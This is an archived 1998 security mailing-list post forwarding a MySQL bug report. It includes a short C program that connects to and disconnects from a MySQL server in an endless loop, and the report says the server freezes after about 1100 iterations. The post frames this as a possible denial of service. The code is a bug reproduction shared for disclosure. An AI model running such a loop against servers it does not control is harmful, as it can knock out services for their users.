MySQL DoS ?

From: Phear Me (patrickat_private)
Date: Fri Aug 14 1998 - 18:15:49 PDT

  • Next message: The big-dog: "[micq] ICQ Hole (fwd)" 

    This appeared at the MySQL list:


Date: Fri, 14 Aug 1998 18:50:02 +0200
From: Jochen Wiedmann <joeat_private>
Subject: mysql: Connecting/Disconnecting 1100 times freezes server

Received: (from root@localhost)
        by laptop.ispsoft.de (8.8.8/8.8.8) id SAA08052
        for mysqlat_private; Fri, 14 Aug 1998 18:42:55 +0200
Date: Fri, 14 Aug 1998 18:42:55 +0200
Full-Name: root
Message-Id: <199808141642.SAA08052at_private>
From: joe
To: mysqlat_private
Subject: connecting/disconnecting 1100 times freezes server

>Description:

        A simple test script that connects/disconnects in an endless
        loop makes the MySQL server freeze after approximately 1100
        iterations.

        Is this a bug or a security related feature? If the latter,
        can I turn it off somehow, as it prevents me from
        investigating a memory leak in the DBD::mysql's connect
        method.

>How-To-Repeat:

        #include <stdlib.h>
        #include <string.h>
        #include <stdio.h>
        #include <mysql/mysql.h>

        int main(int argc, char* argv[]) {
            MYSQL sock;
            int i = 0;

            while (1) {
                if (++i % 100 == 0) {
                    printf("%d\n", i);
                }
                mysql_init(&sock);
                if (!mysql_real_connect(&sock, NULL, NULL, NULL, NULL,
                                        0, NULL, 0)) {
                    fprintf(stderr, "Cannot connect: %s\n",
                            mysql_error(&sock));
                    exit(10);
                }
                mysql_close(&sock);
            }
        }

>Fix:
        Not known

    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:12:44 PDT